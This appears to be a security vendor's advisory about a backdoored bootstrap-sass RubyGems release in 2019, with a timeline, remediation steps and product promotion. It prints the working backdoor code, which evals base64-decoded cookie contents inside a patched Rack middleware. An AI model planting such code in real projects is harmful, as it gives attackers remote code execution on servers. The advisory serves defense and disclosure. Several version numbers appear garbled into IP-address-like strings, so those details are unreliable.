Malicious remote code execution backdoor discovered in the popular bootstrap-sass Ruby gem
On March 26, 2019, a malicious version of the popular
bootstrap-sass package, that has been downloaded a total of 28 million times to date, was published to the official RubyGems repository. Version
188.8.131.52 includes a stealthy backdoor that gives attackers remote command execution on server-side Rails applications.
We have already added the vulnerability to our database, and if your project is being monitored by Snyk, you will have already been notified by our routine alerts, if your application contains the malicious package. If not, you should test, for free, to see if your application is affected by the malicious version by testing your application code repository with Snyk.
If you find that your Rails application is making use of the vulnerable project take immediate action and replace the vulnerable version, 184.108.40.206, with the re-published 220.127.116.11 as first response mitigation without requiring major version upgrades.
On the same day, Derek Barnes opened a GitHub issue for the
twbs/bootstrap-sass repository that raised an issue related to the malicious version and pointed out a suspicious snippet of code that is bundled with version
18.104.22.168 of bootstrap-sass.
The backdoor was wisely hidden in the 22.214.171.124 version that was only published to RubyGems and no source of the malicious version existed on the GitHub repository and allowed remote attackers to dynamically execute code on servers hosting the vulnerable versions.
bootstrap-sass package is very popular and the malicious backdoor potentially affects a large set of users. The package’s GitHub repository has been starred more than 12,000 times, and features over 27 million downloads in total. The current version, 3.4.1, has over 217,000 downloads.
A quick analysis shows roughly 1,670 GitHub repositories that may have been exposed to the malicious library through direct use. This number will increase significantly when counting its usage in applications as a transitive dependency.
Test your Ruby application for vulnerabilities
Re-cap of the attack timeline
- Version 126.96.36.199 was removed from the RubyGems registry. This means that the tarball is still accessible directly via the RubyGems repository, however, it is not visible to the package manager. As far as we can tell, this version is not malicious and has been yanked by the malicious actors in order to get users to upgrade to 188.8.131.52 which they published next.
- On March 26th, version 184.108.40.206 was published by malicious actors. The version includes hides a backdoor in a new file,
lib/active-controller/middleware.rb. The backdoor taps into another Ruby module and modifies it so that specific cookies that are sent by the client will be Base64 decoded and then evaluated in runtime, to effectively allow remote code execution.
- The malicious version 220.127.116.11 matches SHA256 checksum 366d6162fe36fc81dadc114558b43c6c8890c8bcc7e90e2949ae6344d0785dc0.
- We assume that the attacker has obtained the credentials to publish the malicious RubyGems package from one of the two maintainers, but this has not been officially confirmed.
- On March 26th at 10:59PM GMT Derek Barnes opened an issue on the public repository to inform the maintainers and the wider community of his suspicion regarding the code found in version 18.104.22.168.
- On March 26th at 11:56PM GMT, just an hour later, the malicious version was removed from the RubyGems repository and the maintainers confirmed that they updated their credentials.
- Due to both 22.214.171.124 and 126.96.36.199 version being removed, users needed to upgrade to other alternate versions, such as 3.4.1, as recommended by the project maintainers.
- Today, on April 3rd 2019, at 4:10PM GMT, the project maintainers released a new version, 188.8.131.52, which is identical to the retracted version, 184.108.40.206, to allow users to easily upgrade to a safe version without needing to resort to a major version change.
April 4th 2019 4:46PM update: the vulnerable version of 220.127.116.11 was removed incorrectly and remained in the RubyGems registry through mirrors for several days further. It was reported now that it is now entirely unavailable.
Unraveling the vulnerability
To gain more insight into the malicious backdoor we need to understand how the
bootstrap-sass package fits into the development practices of a Ruby web application.
bootstrap-sass is an official project that spawned from the Twitter Bootstrap parent project and provides a SASS-powered version of bootstrap 3. SASS is a tool that empowers frontend engineers and provides a higher level abstraction for writing CSS files through capabilities such as mixins, variables, conditional statements, and so on.
SASS tooling is mostly related to frontend assets and would normally be leveraged as part of a frontend build phase which creates static assets, and these are served by static web servers. However for Ruby on Rails-powered applications that serve both backend and frontend code, the
bootstrap-sass project provides Ruby bindings that are used by the framework.
When a Rails application wants to make use of the
bootstrap-sass library it declares this dependency and updates the relevant CSS imports in order to include bootstrap-sass to compile the CSS files during runtime.
bootstrap-sass is imported, it imports the following malicious middleware code that resides on
begin require 'rack/sendfile' if Rails.env.production? Rack::Sendfile.tap do |r| r.send :alias_method, :c, :call r.send(:define_method, :call) do |e| begin x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten.to_s) eval(x) if x rescue Exception end c(e) end end end rescue Exception nil end
The backdoor in a nutshell:
- import rack/sendfile
- if the Rails application is running in a production environment, modify the
- The monkey-patching of the
callmethod updates the original to read an HTTP cookie, named
___cfduid, that was sent from the client-side, base64 decodes it, and then evaluates the dynamic code at runtime. After executing the dynamic code it calls the original
What should I do?
If your project is being monitored by Snyk, you will have already been notified by Snyk’s routine alerts, should your application contain this malicious package.
If however, you are not monitoring your projects with Snyk, you can run a one-off test for your open source project by clicking here to test your repositories, or by using our CLI to test your projects locally.
I’m affected, what should do I next?
If you found out your Rails application is making use of the vulnerable project take immediate steps to replace the current vulnerable version of 18.104.22.168 with the re-published 22.214.171.124 version as first response mitigation without requiring major version upgrades.
We encourage you to connect your repositories with Snyk so you can monitor for malicious activity in the future as well as surface any other vulnerabilities that may exist in your application.